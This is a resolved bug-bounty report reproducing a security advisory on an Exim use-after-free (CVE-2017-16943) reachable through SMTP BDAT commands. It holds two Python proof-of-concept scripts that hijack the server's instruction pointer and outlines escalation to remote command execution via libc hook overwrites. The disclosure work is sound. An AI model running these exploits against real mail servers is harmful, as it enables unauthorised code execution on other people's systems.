Loading HuntDB...

Exim use-after-free vulnerability while reading mail header involving BDAT commands

Critical
I
Internet Bug Bounty
Submitted None
Reported by mehqq

Vulnerability Details

Technical details and impact analysis

Use After Free
Original article is [here](https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/) # Use-after-free in receive_msg leads to RCE ### Vulnerability Analysis To explain this bug, we need to start with the memory management of exim. There is a series of functions starts with `store_` such as `store_get`, `store_release`, `store_reset`. These functions are used to manage dynamically allocated memory and improve performance. Its architecture is like the illustration below: ![architecture of storeblock](https://d2mxuefqeaa7sj.cloudfront.net/s_250CBD95095D0019FAC82FED4F605A7EFB015920E271206EB018526E9DD7E3F0_1510286247190_exim+store+1.png) Initially, exim allocates a big storeblock (default 0x2000) and then cut it into **stores** when `store_get` is called, using global pointers to record the size of unused memory and where to cut in next allocation. Once the `current_block` is insufficient, it allocates a new block and appends it to the end of the chain, which is a linked list, and then makes `current_block` point to it. Exim maintains three `store_pool`, that is, there are three chains like the illustration above and every global variables are actually arrays. This vulnerability is in `receive_msg` where exim reads headers: [receive.c: 1817 receive_msg](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1817) ```c if (ptr >= header_size - 4) { int oldsize = header_size; /* header_size += 256; */ header_size *= 2; if (!store_extend(next->text, oldsize, header_size)) { uschar *newtext = store_get(header_size); memcpy(newtext, next->text, ptr); store_release(next->text); next->text = newtext; } } ``` It seems normal if the store functions are just like realloc, malloc and free. However, they are different and cannot be used in this way. When exim tries to **extend** store, the function `store_extend` checks whether the old store is the latest store allocated in `current_block`. It returns False immediately if the check is failed. [store.c: 276 store_extend](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/store.c#L276) ```c if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) || inc > yield_length[store_pool] + rounded_oldsize - oldsize) return FALSE; ``` Once `store_extend` fails, exim tries to get a new store and release the old one. After we look into `store_get` and store_release, we found that `store_get` returns a **store**, but `store_release` releases a **block** if the store is at the head of it. That is to say, if `next->text` points to the start the `current_block` and `store_get` cuts store inside it for `newtext`, then `store_release(next->text)` frees `next->text`, which is equal to `current_block`, and leaves `newtext` and `current_block` pointing to a freed memory area. Any further usage of these pointers leads to a use-after-free vulnerability. To trigger this bug, we need to make exim call `store_get` after `next->text` is allocated. This was impossible until BDAT command was introduced into exim. BDAT makes `store_get` reachable and finally leads to an RCE. Exim uses [function pointers](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/globals.h#L136) to switch between different input sources, such as `receive_getc`, `receive_getbuf`. When receiving BDAT data, `receive_getc` is set to `bdat_getc` in order to check left chunking data size and to handle following command of BDAT. In `receive_msg`, exim also uses `receive_getc`. It loops to read data, and stores data into `next->text`, extends if insufficient. [receive.c: 1817 receive_msg](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1789) ```c for (;;) { int ch = (receive_getc)(GETC_BUFFER_UNLIMITED); /* If we hit EOF on a SMTP connection, it's an error, since incoming SMTP must have a correct "." terminator. */ if (ch == EOF && smtp_input /* && !smtp_batched_input */) { smtp_reply = handle_lost_connection(US" (header)"); smtp_yield = FALSE; goto TIDYUP; /* Skip to end of function */ } ``` In `bdat_getc`, once the SIZE is reached, it tries to read the next BDAT command and raises error message if the following command is incorrect. [smtp_in.c: 628 bdat_getc](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/smtp_in.c#L628) ```c case BDAT_CMD: { int n; if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1) { (void) synprot_error(L_smtp_protocol_error, 501, NULL, US"missing size for BDAT command"); return ERR; } ``` In exim, it usually calls `synprot_error` to raise error message, which also logs at the same time. [smtp_in.c: 628 bdat_getc](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/smtp_in.c#L2984) ```c static int synprot_error(int type, int code, uschar *data, uschar *errmess) { int yield = -1; log_write(type, LOG_MAIN, "SMTP %s error in \"%s\" %s %s", (type == L_smtp_syntax_error)? "syntax" : "protocol", string_printing(smtp_cmd_buffer), host_and_ident(TRUE), errmess); ``` The log messages are printed by string_printing. This function ensures a string is printable. For this reason, it extends the string to transfer characters if any unprintable character exists, such as `'\n'->'\\n'`. Therefore, it asks `store_get` for memory to store strings. This store makes ` if (!store_extend(next->text, oldsize, header_size))` in `receive_msg` failed when next extension occurs and then triggers use-after-free. ### Exploitation The following is the Proof-of-Concept(PoC) python script of this vulnerability. This PoC controls the control flow of SMTP server and sets instruction pointer to `0xdeadbeef`. For fuzzing issue, we did change the runtime configuration of exim. As a result, this PoC works only when **dkim** is enabled. We use it as an example because the situation is less complicated. The version with default configuration is also exploitable, and we will discuss it at the end of this section. ```python # CVE-2017-16943 PoC by meh at DEVCORE # pip install pwntools from pwn import * r = remote('127.0.0.1', 25) r.recvline() r.sendline("EHLO test") r.recvuntil("250 HELP") r.sendline("MAIL FROM:<[email protected]>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x1250+'\x7f') r.recvuntil('command') r.sendline('BDAT 1') r.sendline(':BDAT \x7f') s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8) r.send(s+ ':\r\n') r.recvuntil('command') r.send('\n') r.interactive() ``` 1. Running out of `current_block` In order to achieve code execution, we need to make the `next->text` get the first store of a block. That is, running out of `current_block` and making `store_get` allocate a new block. Therefore, we send a long message `'a'*0x1250+'\x7f'` with an unprintable character to cut `current_block`, making `yield_length` less than 0x100. ![](https://i.imgur.com/PaQWaAT.png) 2. Starts BDAT data transfer After that, we send BDAT command to start data transfer. At the beginning, `next` and `next->text` are allocated by `store_get`. ![](https://i.imgur.com/C9PPhPY.png) The function `dkim_exim_verify_init` is called sequentially and it also calls `store_get`. Notice that this function uses **ANOTHER `store_pool`**, so it allocates from heap without changing `current_block` which `next->text` also points to. [receive.c: 1734 receive_msg](https://github.com/Exim/exim/blob/e924c08b7d031b712013a7a897e2d430b302fe6c/src/src/receive.c#L1734) ```c if (smtp_input && !smtp_batched_input && !dkim_disable_verify) dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED); ``` 3. Call `store_getc` inside `bdat_getc` Then, we send a BDAT command without SIZE. Exim complains about the incorrect command and cuts the `current_block` with `store_get` in `string_printing`. ![](https://i.imgur.com/5M1q0c4.png) 4. Keep sending msg until extension and bug triggered In this way, while we keep sending huge messages, `current_block` gets freed after the extension. In the malloc.c of glibc (so called ptmalloc), system manages a linked list of freed memory chunks, which is called unsortbin. Freed chunks are put into unsortbin if it is not the last chunk on the heap. In step 2, `dkim_exim_verify_init` allocated chunks after `next->text`. Therefore, this chunk is put into unsortbin and the pointers of linked list are stored into the first 16 bytes of chunk (on x86-64). The location written is exactly `current_block->next`, and therefore `current_block->next` is overwritten to `unsortbin` inside `main_arena` of libc (linked list pointer `fd` points back to `unsortbin` if no other freed chunk exists). ![](https://i.imgur.com/xdGViKJ.png) 5. Keep sending msg for the next extension When the next extension occurs, `store_get` tries to cut from `main_arena`, which makes attackers able to overwrite all global variables below main_arena. 6. Overwrite global variables in libc 7. Finish sending message and trigger `free()` In the PoC, we simply modified `__free_hook` and ended the line. Exim calls `store_reset` to reset the buffer and calls `__free_hook` in `free()`. At this stage, we successfully controlled instruction pointer `$rip`. However, this is not enough for an RCE because the arguments are uncontrollable. As a result, we improved this PoC to modify both `__free_hook` and `_IO_2_1_stdout_`. We forged the vtable of `stdout` and set `__free_hook` to any call of `fflush(stdout)` inside exim. When the program calls fflush, it sets the first argument to stdout and jumps to a function pointer on the vtable of stdout. Hence, we can control both `$rip` and the content of first argument. We consulted past CVE exploits and decided to call `expand_string`, which executes command with `execv` if we set the first argument to `${run{cmd}}`, and finally we got our RCE. ![](https://i.imgur.com/2EkljvM.png) #### Exploit for default configured exim When dkim is disabled, the PoC above fails because `current_block` is the last chunk on heap. This makes the system merge it into a big chunk called **top chunk** rather than unsortbin. The illustrations below describe the difference of heap layout: ![](https://i.imgur.com/RQ9LVOb.png) ![](https://i.imgur.com/X29oSsT.png) To avoid this, we need to make exim allocate and free some memories before we actually start our exploitation. Therefore, we add some steps between step 1 and step 2. After running out of `current_block`: 1. Use DATA command to send lots of data Send huge data, make the chunk big and extend many times. After several extension, it calls `store_get` to retrieve a bigger store and then releases the old one. This repeats many times if the data is long enough. Therefore, we have a big chunk in unsortbin. 2. End DATA transfer and start a new email Restart to send an email with BDAT command after the heap chunk is prepared. 3. Adjust `yield_length` again Send invalid command with an unprintable charater again to cut the `current_block`. Finally the heap layout is like: ![](https://i.imgur.com/b4phS3c.png) And now we can go back to the step 2 at the beginning and create the same situation. When `next->text` is freed, it goes back to unsortbin and we are able to overwrite libc global variables again. The following is the PoC for default configured exim: ```python # CVE-2017-16943 PoC by meh at DEVCORE # pip install pwntools from pwn import * r = remote('localhost', 25) r.recvline() r.sendline("EHLO test") r.recvuntil("250 HELP") r.sendline("MAIL FROM:<>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x1280+'\x7f') r.recvuntil('command') r.sendline('DATA') r.recvuntil('itself\r\n') r.sendline('b'*0x4000+':\r\n') r.sendline('.\r\n') r.sendline('.\r\n') r.recvline() r.sendline("MAIL FROM:<>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x3480+'\x7f') r.recvuntil('command') r.sendline('BDAT 1') r.sendline(':BDAT \x7f') s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8) r.send(s+ ':\r\n') r.send('\n') r.interactive() ``` A demo of our exploit is as below. ![](https://i.imgur.com/jumGJMG.png) Note that we have not found a way to leak memory address and therefore we use heap spray instead. It requires another information leakage vulnerability to overcome the PIE mitigation on x86-64. ## Impact Remote code execution on remote mail server, affecting over 500k mail servers.

Related CVEs

Associated Common Vulnerabilities and Exposures

The receive_msg function in receive.c in the SMTP daemon in Exim 4.88 and 4.89 allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free) via vectors involving BDAT commands.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Use After Free